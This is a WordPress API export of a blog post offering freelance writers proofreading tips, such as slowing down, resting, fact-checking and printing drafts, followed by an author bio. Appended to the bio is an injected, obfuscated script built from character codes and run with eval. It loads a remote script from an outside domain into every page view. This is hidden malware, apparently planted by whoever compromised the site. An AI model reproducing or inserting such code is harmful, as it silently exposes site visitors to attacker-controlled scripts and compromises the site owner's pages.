{"id":6243,"date":"2023-06-09T10:56:26","date_gmt":"2023-06-09T10:56:26","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/time-saving-proofreading-techniques-for-freelance-writers\/"},"modified":"2023-06-09T10:56:26","modified_gmt":"2023-06-09T10:56:26","slug":"time-saving-proofreading-techniques-for-freelance-writers","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/time-saving-proofreading-techniques-for-freelance-writers\/","title":{"rendered":"Time-saving Proofreading Techniques for Freelance Writers"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/time-saving-proofreading-techniques-for-freelance-writers\/#Take_Your_Time_Slow_and_Steady_Wins_the_Race\" title=\"Take Your Time Slow and Steady Wins the Race\">Take Your Time Slow and Steady Wins the Race<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/time-saving-proofreading-techniques-for-freelance-writers\/#Take_a_day_off_in_between_writing_and_proofing\" title=\"Take a day off in between writing and proofing\">Take a day off in between writing and proofing<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/time-saving-proofreading-techniques-for-freelance-writers\/#If_Youre_Not_Sure_Then_Ask\" title=\"If You\u2019re Not Sure Then Ask\">If You\u2019re Not Sure Then Ask<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/time-saving-proofreading-techniques-for-freelance-writers\/#Check_the_Facts_Do_They_Ring_True\" title=\"Check the Facts Do They Ring True?\">Check the Facts Do They Ring True?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/benrmatthews.local\/time-saving-proofreading-techniques-for-freelance-writers\/#Get_Plenty_of_Rest_It_Takes_Twice_as_Long_When_Youre_Tired\" title=\"Get Plenty of Rest It Takes Twice as Long When You\u2019re Tired\">Get Plenty of Rest It Takes Twice as Long When You\u2019re Tired<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"http:\/\/benrmatthews.local\/time-saving-proofreading-techniques-for-freelance-writers\/#If_Youre_the_Author_Pause_After_Writing\" title=\"If You\u2019re the Author Pause After Writing\">If You\u2019re the Author Pause After Writing<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"http:\/\/benrmatthews.local\/time-saving-proofreading-techniques-for-freelance-writers\/#Print_it_Out_Pulling_Out_Your_Pen_Speeds_Things_Up\" title=\"Print it Out Pulling Out Your Pen Speeds Things Up\">Print it Out Pulling Out Your Pen Speeds Things Up<\/a><\/li><\/ul><\/nav><\/div>\n<img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2018\/10\/Time-saving-Proofreading-Technics-for-Freelance-Writers.jpg&quot; alt=&quot;Time-saving Proofreading Technics for Freelance Writers&quot; width=&quot;750&quot; height=&quot;500&quot; class=&quot;wp-image-3511 size-full&quot; \/>\n<p>Proofreading techniques are one of those skills that you\u2019re going to have to get used to if you\u2019re thinking about embarked on a career as a freelancer.<\/p>\n<p>Working solo can be a liberating experience, but it also means that there\u2019s no one else there to correct your mistakes.<\/p>\n<p>To ensure that you don\u2019t have to spend hours and hours proofing what you write, take a look at these handy techniques.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Take_Your_Time_Slow_and_Steady_Wins_the_Race\"><\/span><strong>Take Your Time: Slow and Steady Wins the Race<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Writing is the fun part, and sometimes when things are going well you\u2019ll feel like you\u2019re flying through it. Then comes the laborious part \u2014 the proofreading. Sound familiar?<\/p>\n<p>If you want to be able to cruise through proofing then, rather counterintuitively, you need to slow right down. There\u2019s no use in charging blindly ahead if you get to the end and then spot mistakes on your final reading.<\/p>\n<p>Take the time to get it right and you\u2019ll only have to do it once. If haste comes naturally to you here\u2019s a few ways you can slow down:<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Take_a_day_off_in_between_writing_and_proofing\"><\/span><strong>Take a day off in between writing and proofing<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Never set a timeframe for completing it \u2014 slow right down and find a natural rhythm<\/p>\n<p>Listen to some slow relaxing music and put your phone on silent<\/p>\n<p>Practice them as often as you can and you\u2019ll notice the difference quicker than you think.<\/p>\n<img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2018\/10\/If-You-Are-Not-Sure-Then-Ask-1.jpg&quot; alt=&quot;If You Are Not Sure Then Ask&quot; width=&quot;798&quot; height=&quot;500&quot; class=&quot;wp-image-3509 size-full&quot; \/>\n<h2><span class=\"ez-toc-section\" id=\"If_Youre_Not_Sure_Then_Ask\"><\/span><strong>If You\u2019re Not Sure Then Ask<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>No article dispensing tried and test proofreading advice would be complete without this little commonsense gem.<\/p>\n<p>Just because you\u2019re now a freelancer doesn\u2019t mean that you have to do everything solo. You may work for yourself, but there\u2019s a huge community of writers and editors out there looking to collaborate.<\/p>\n<p>In fact, by forming a few friendships you\u2019ll find you have people who can act as sounding boards when you need someone to open up to.<\/p>\n<p>Not only that, but you can ask them the odd technical or grammatical question. Freelancing is all about learning and growing, so make sure you use the people in your network.<\/p>\n<p>Don\u2019t feel self conscious \u2014 they\u2019ll be asking your advice sooner rather than later!<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Check_the_Facts_Do_They_Ring_True\"><\/span><strong>Check the Facts: Do They Ring True?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>This is a bit of a controversial one because some people will tell you that proofing should be solely concerned with the structure and grammar of each sentence.<\/p>\n<p>What I would say is that this is all well and good, unless there\u2019s a major flaw in the main argument of the piece you\u2019re proofing. If there\u2019s a fact or statistic that is central to the article then why not do a quick fact check?<\/p>\n<p>This is especially useful if you\u2019re writing for a business that would expect you to flag up anything erroneous that has made it into the final draft.<\/p>\n<p>It doesn\u2019t matter who found the statistic in the first place, if you\u2019re the one to highlight that it may not be right then kudos to you.<\/p>\n<p><img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2018\/10\/Get-Plenty-of-Rest-It-Takes-Twice-as-Long-When-You-Are-Tired.jpg&quot; alt=&quot;Get Plenty of Rest It Takes Twice as Long When You Are Tired&quot; width=&quot;334&quot; height=&quot;501&quot; class=&quot;aligncenter wp-image-3510 size-full&quot; \/><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Get_Plenty_of_Rest_It_Takes_Twice_as_Long_When_Youre_Tired\"><\/span><strong>Get Plenty of Rest: It Takes Twice as Long When You\u2019re Tired<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Ask any writer whether they can work tired just as well as they can when they\u2019re rested and they\u2019ll give a resounding no.<\/p>\n<p>Writing is a purely mental pursuit which means that you\u2019re unlikely to be able to perk yourself up if you\u2019ve had a bad night\u2019s sleep.<\/p>\n<p>Too many new freelancers fall into the trap of trying to be always on. You may think that this impresses your clients.<\/p>\n<p>But all it really does is guarantee that the quality of your work suffers as you gradually approach burnout.<\/p>\n<p>Here\u2019s how you can spot burnout is on the horizon:<\/p>\n<ul>\n<li>Your mood is quite low and out of character<\/li>\n<li>You don\u2019t feel excited to work anymore<\/li>\n<li>Your appetite has gone and you\u2019ve started skipping meals to work longer<\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"If_Youre_the_Author_Pause_After_Writing\"><\/span><strong>If You\u2019re the Author: Pause After Writing<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>We kind of mentioned this one earlier but it\u2019s really important so I\u2019m going to briefly revisit it. Whether you work for a small company or are just starting out as a freelancer the advice that follows still applies.<\/p>\n<p>Wherever possible you need to take a day off from any given project before you start proofing. This will give you the distance and time for reflection you need to spot the common mistakes that we all make.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Print_it_Out_Pulling_Out_Your_Pen_Speeds_Things_Up\"><\/span><strong>Print it Out: Pulling Out Your Pen Speeds Things Up<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Have you ever wondered why you make far fewer of the well known common spelling mistakes when you write by hand? It\u2019s because you give yourself the time to think and reflect on what it is that you\u2019re writing.<\/p>\n<p>Writing on paper is often more relaxing than typing, and it certainly feels more natural. If you\u2019re working long hours you\u2019ll also find that it puts significantly less strain on your eyes.<\/p>\n<p>Print out your text and pick up a pen the next time you have a big batch of proofing to get through. You\u2019ll be amazed at how much more relaxing you find the whole process.<\/p>\n<p><strong>About the Author<\/strong><\/p>\n<p>Daniela McVicker is a freelance writer and a long-term editor at Top Writers Review. She is passionate about finding new ways for people to improve their writing, and about reaching out to the wider writing community. If she were to describe her proofreading style in three words they would be: attention to detail.<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Proofreading techniques are one of those skills that you\u2019re going to have to get used to if you\u2019re thinking about embarked on a career as a freelancer. Working solo can be a liberating experience, but it also means that there\u2019s no one else there to correct your mistakes. To ensure that you don\u2019t have to [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-6243","post","type-post","status-publish","format-standard","hentry","category-general"],"_links":{"self":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6243"}],"collection":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/comments?post=6243"}],"version-history":[{"count":0,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6243\/revisions"}],"wp:attachment":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/media?parent=6243"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/categories?post=6243"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/tags?post=6243"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}